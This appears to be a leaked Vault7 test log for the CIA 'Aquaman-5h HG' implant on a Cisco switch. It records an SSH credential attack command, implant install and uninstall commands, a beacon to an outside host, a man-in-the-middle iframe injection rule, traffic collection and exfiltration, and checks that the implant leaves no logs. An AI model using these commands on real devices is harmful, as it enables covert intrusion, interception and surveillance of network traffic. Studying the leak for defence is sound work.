Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Owner: User #71467
Aquaman-5h HG 3.3.1 - Full Test
Aquaman-5h HG 3.3.1 - Full Test
Xetrron delivered Aquaman-5h HG 3.3.1 with a fix to EAREnterprise Archive 5244 (snooping causing err-disable). Plan is to perform a full test of this Aquaman delivery.
Testing Summary
Need to compare files from CIConcern Profile tests
Progress/Notes
4/16/15
- Collect Baseline information for use in later comparisons
- Deleted all previous crashinfo files from flash card of Target Device
- Reloaded Target Device
- Collected baseline files with output of show tech, dir all, show mem and CPU, show log
- Used memory - 26975916 (b)
- CPU - 5%/0%; one minute: 6%; five minutes: 6%
- Ran RANCID - collected version 1.6
- Install/Uninstall HG without leave behind
- SSHIAC attack - ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password
- LG EC-125 DHDiffie-Hellman encryption EC-60 EC-159 M - these codes are acceptable per readme
- Observed CPU during attack: 46% highest spike
- Used memory after SSHIAC attack - 26966496 (b)
- Install HG
- Left the interpacket delay at 1s (not directed to change it in readme, and I'm following the readme)
- hg_start - result success - Result: 0x00000001
- Observed CPU during install: 19% highest CPU spike
- Used memory after HG install - 29893996 (b)
- no commands from attack or install observed in show history
- Establish HG Comms
- Edited aquaman-5h.txt file - replaced <INT> with eth0 and <IP TO TRIGGER> with 192.168.21.10
- Ran prep-ct.sh
- Established CTCounter Terrorism session - Observed 19% spike during SSLSecure Socket Layer handshake
- beacon call_base_back https 172.20.12.22 443
- Used memory after CTCounter Terrorism session - 29863488 (b)
- Hit tab twice:
[192.168.21.10]>
aliases ca collect device encryption https mitm packet redir tun
beachhead capability communication dns file ilm mode process scramble verbosity
beacon cmd compression ebroker filesystem memory module quit socket webCapability Module Installed? SMITE (iframe injection) FilterBroker Yes Scavenger (Packet Collector) Beacon Ramjet (Data Collector) DataCollection No Thundercracker (automated exfil) Mixmaster (packet scrambler) ACE (command execution) ACE Yes Drillbit (covert tunnel) Tunnel Yes DNS Check-in Scrapper (redirector) DIVRT (dns poison) FilterBroker Yes Snooping Yes Trigger Yes ARP Survey (socket) Yes
- HG Base version 3.3.1
- Uninstall HG
- device uninstall_hg -mp -f
- no syslog messages generated
- Used memory after uninstall 26954800 (b)
- Observed CPU during uninstall - 12%
- Output from show proc cpu history - shows slightly lower peak CPU for one minute with HG installed (7-8% with HG vs 9-11% without HG)
After uninstall - CPU utilization for five seconds: 5%/0%; one minute: 6%; five minutes: 6%4/17/15
- SSHIAC attack - ./sshiac --ip 172.31.255.14:22 --l cisco:cisco password
- Install/Uninstall HG with leave behind
- Reloaded to start with a clean Target Device
- SSHIAC attacked successfully
- Installed hg with leave behind
- No syslogs, cpu and mem as expected, nothing alerting in show history
- Establish HG comms - success, no alerting events
- Uninstall HG
- device uninstall_hg -f
- After uninstall, was able to successfully communicate with remote - broad
- Reinstall HG
- hg_start_leave_behind - success
- Established comms
- device uninstall_hg -mp -f
- Basic command and control
- module show - modules running
- module stop Trigger - success
- module start Trigger.mod - success
- ilm refresh - success
- module show - success - Trigger module running
- Hit tab key to verify output of available commands
- mitm present, collect present - refer to table in 2c for complete listing
- dns show, web show, https show - snoop enabled for all three
- dns get_snooped_host_list_client 0 100 - seeds host in snooped list
- Boundary Test
- Run through list in HG Base Smoke Test Procedure - all failed gracefully
- CI Profile
- Collect output for comparison before install, with hg and after uninstall of hg- collected output in new files, will compare to previous test output
- Added to Rancid and ran once with HG, then uninstalled hg, reloaded switch, and ran rancid again to compare
- RANCID - ran with HG installed - no change to config, still on version 1.6
- RANCID - ran after uninstall - no change, still on version 1.6
- Test Fix for EAREnterprise Archive 5244 - err-disable condition
- Reloaded to start with a clean Target Device
- SSHIAC and HG install
- Verify Seeds Traffic running and verify no CTCounter Terrorism session with HG
- Perform 10x service network restarts on Seeds VM
- Establish CTCounter Terrorism session
- Perform 10x service network restarts on Seeds VM
- No err-disable condition observed
- SMITE Smoke Test - following documented HG 3.3.0 SMITE Capability Smoke Test Procedure
- Start with a clean, reloaded 2960-S
- SSHIAC attack and HG install
- Established CTCounter Terrorism session
- Completed module control test - stop, start - did not complete module delete and reload test
- Did not test module persistence
- Created SMITE rule - mitm create http_iframe 192.168.21.10 255.255.255.0 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -en -bc -bk
- Iframe is injected into web page, viewed in source URL
- Able to attach in Windex and view secrets.txt
- Deleted mitm rule - iframe no longer injected
-
Smoke Test - socket get_arp_survey_data
- Reload switch to start with a clean Target Device
- SSHIAC attack and install HG
-
Establish CTCounter Terrorism session
-
type socket get_arp_survey_data:
[192.168.21.10]> socket get_arp_survey_data
[Success]
Vlan: 1
Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
192.168.21.10 00:50:56:88:25:6d 192.168.21.1 2015-04-17T11:59:48Z
192.168.21.1 00:11:bb:89:21:c4 172.31.255.1 2015-04-17T11:59:07Z
192.168.21.10 00:50:56:88:25:6d 192.168.21.10 2015-04-17T11:39:58Z
0.0.0.0 00:50:56:88:25:6d 192.168.21.10 2015-04-17T11:39:52Z - socket get_arp_responder_status shows ARPAddress Resolution Protocol responder enabled Yes
- socket clear_arp_survey_data
- Checked socket get_arp_survey_data again and only 1 entry now, all re-appeared after service network restart on seeds
-
Smoke Test - Collect Capability
- Establish CTCounter Terrorism Session with HG
- Collect create 192.168.21.10 255.255.255.0 0 65535 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.0 0 65535 tcp -en
- This rule captures Seed traffic
- In Listen window, observed "collect success received collected data" messages with job numbers
- Collect status showed active sessions and captured sessions
- Typed collect disable 8 to disable the collection rule
- Collect status showed 0 bytes buffered
- Viewed collected data in /Logs by converting to PCAPPacket capture format with ExfilParsh.sh - saw our seeds data
-
Smoke Test - ACEApplication Control Engine (Module) Capability
- Set up for test - configured Target Device for use with AAASecurity Server from Cisco Server
- Verified that Target Device is logging commands to AAASecurity Server from Cisco server log - /var/log/tac_plus.acct
- Established CTCounter Terrorism session with HG
- In trigger window, ran "capability show" which confirms ACEApplication Control Engine (Module) v24 is installed.
- In trigger window, ran "module show" which confirms the same as above and that the module is "running".